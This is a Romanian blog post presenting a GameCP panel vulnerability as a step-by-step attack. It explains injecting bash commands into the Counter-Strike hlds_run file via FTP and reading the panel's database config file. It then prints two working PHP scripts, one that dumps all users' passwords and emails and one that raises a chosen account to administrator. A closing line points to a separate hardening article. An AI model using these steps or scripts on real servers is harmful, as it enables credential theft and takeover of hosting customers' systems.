Vulnerabilitate fatală GameCp

GameCP pune la dispoziția unui utilizator cu cunoștințe de bază linux tot ce are nevoie pentru a obține date de root asupra unui server dedicat administrat de un individ care se crede administrator de server, deținător de firmă de hosting, in unele cazuri chiar și hacker, din păcate e plină lumea hostingului cu astfel de indivizi pentru care e mai important să pună pe site cuvinte de genul „securitate maximă” decât să iși securizeze fizic serverele.

Vulnerabilitatea este pe atât de ușor de exploatat pe cât este de periculoasă, chiar și dacă esti o persoană mai lentă nu iți ia peste 10 minute să afli parola de root a serverului.

De exemplu serverele de Counter Strike au un fișier cu numele hlds_run, in acest fișier se pot injecta comenzi bash, astfel dându-vă posibilitatea de a executa comenzi bash la nivelul serverului cu drepturile utilizatorului. Injectarea de comenzi in acel fișier este simplă, pur și simplu fișierul poate fi inlocuit prin intermediul clientului ftp cu un fișier infectat sau poate fi redenumit in hlds_run.txt și editat.

Dacă introduceți o comandă de genul: „cat /proc/cpuinfo > modelprocesor.txt” in momentul executării fișierul hlds_run (după ce e restartat serverul de Counter Strike) o să vă creeze un fișier modelprocesor.txt care o să conțină informațiile cerute, adică modelul procesorului pe care rulează serverul. Având acces bash se poate afla orice dacă serverul are un nivel slab de securizare, dar poate fi compromis chiar și dacă are un anumit nivel de securitate, de exemplu puteți accesa fișierele altor servere din home, puteți citi fișierul /usr/local/gcp/gamecp.ini in care se află informațiile pentru acces la baza de date, de exempu dacă aveți dreptul de a crea un fișier in /var/www, (locația fișierele panoului gamecp) puteți crea un script php care să afișeze date confidențiale.

De exemplu un script php ca acesta:

<?php
 include '/var/www/gamecp/includes/mysql.inc.php';
 
 $result = mysql_query("SELECT * FROM users");
 echo "<table border='1'>
 <tr>
 <th>Utilizator</th>
 <th>Parola</th>
 <th>Email</th>
 <th>Nivel</th>
 </tr>";
 while($row = mysql_fetch_array($result))
   {
   echo "<tr>";
   echo "<td>" . $row['name'] . "</td>";
   echo "<td>" . $row['password'] . "</td>";
   echo "<td>" . $row['email'] . "</td>";
   echo "<td>" . $row['userlevel'] . "</td>";   
echo "</tr>";
   }
 echo "</table>";
 mysql_close($con);
 ?>

vă afișează informații despre conturi fără să aveți datele bazei de date sau acces către aceasta, e nevoie doar să se indice locația corectă pentru a putea fi incluse informațiile bazei de date atunci când se execută.

Sau un script ca acesta:

<?php
 include '/var/www/gamecp/includes/mysql.inc.php';
 
 $result = mysql_query("UPDATE `users` SET `userlevel` = '1' WHERE `name` = 'user'");
 echo "<table border='1'>
 <tr>
 <th>Utilizator</th>
 <th>Parola</th>
 <th>Email</th>
 <th>Nivel</th>
 </tr>";
 while($row = mysql_fetch_array($result))
   {
   echo "<tr>";
   echo "<td>" . $row['name'] . "</td>";
   echo "<td>" . $row['password'] . "</td>";
   echo "<td>" . $row['email'] . "</td>";
   echo "<td>" . $row['userlevel'] . "</td>";   
echo "</tr>";
   }
 echo "</table>";
 mysql_close($con);
 ?>

care vă modifică userul dându-i drepturi de administrator in panoul GameCP.

Această vulnerabilitate se poate preveni printr-o modalitate acoperită de un alt articol de pe blogul nostru: Securizare esențială GameCP

Share this page on:Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedInPin on Pinterest